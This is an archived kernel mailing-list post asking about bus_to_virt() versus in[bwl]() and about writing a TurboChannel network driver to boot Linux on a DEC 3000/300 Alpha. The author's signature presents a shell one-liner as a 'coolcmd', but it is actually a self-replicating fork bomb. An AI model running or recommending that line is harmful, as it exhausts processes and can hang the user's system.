lance coding on dec3000/300

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Hello.

First a general question: What's the differance between using a pointer 
retrieved from bus_to_virt() and using in[bwl]()?

Now:

I have a dec3000/300[2] (alpha 21064 cpu) which I want to get working with 
linux. Using a patch I found against 2.2.9[1] and some hacking I've gotten it 
to boot all the way to mounting root fs.
It's multitasking ok, I wrote a thread that blinks the red lights on the side 
of the box every second, so the timer is setup properly when booting.

However....
To mount a root fs I need either scsi or net drivers, and this is a 
turbochannel-only box, so hacking is involved. Network is the most important, 
so I'm trying to code that. I have done some isa driver coding on x86, but a 
network driver on an architecture I'm not all that familiar with is a bit 
more work.

Specs are availible for the box and the ethernet nic:
ftp://ftp.se.netbsd.org/pub/NetBSD/misc/dec-docs/index.html

If anyone else has one of these and you think you can help, mail me and we 
can work together.

Working remotely is not really a good idea since a fair amount of 
powercycling is involved. :)

[1] Not my patch, but a good start: 
http://www.phys.ufl.edu/~prescott/linux/alpha/dec3000-download/
[2] Actually a 3000/300LX, but they're pretty much the same.

- ---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.4" };
  char *pgpKey[]   = { "http://darkface.pp.se/~thompa/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE9j0X4KGrpCq1I6FQRAsXBAJ4raKkKqw8r1N3NUAp7sc4hQsCZLgCfdCb5
X7ME36Isc+8AG9VFL5iSnWo=
=C7tf
-----END PGP SIGNATURE-----
--
Kernelnewbies: Help each other learn about the Linux kernel.
Archive:       http://mail.nl.linux.org/kernelnewbies/
FAQ:           http://kernelnewbies.org/faq/


[Index of Archives]     [Newbies FAQ]     [Linux Kernel Mentors]     [Linux Kernel Development]     [IETF Annouce]     [Git]     [Networking]     [Security]     [Bugtraq]     [Yosemite]     [MIPS Linux]     [ARM Linux]     [Linux RAID]     [Linux SCSI]     [Linux ACPI]
  Powered by Linux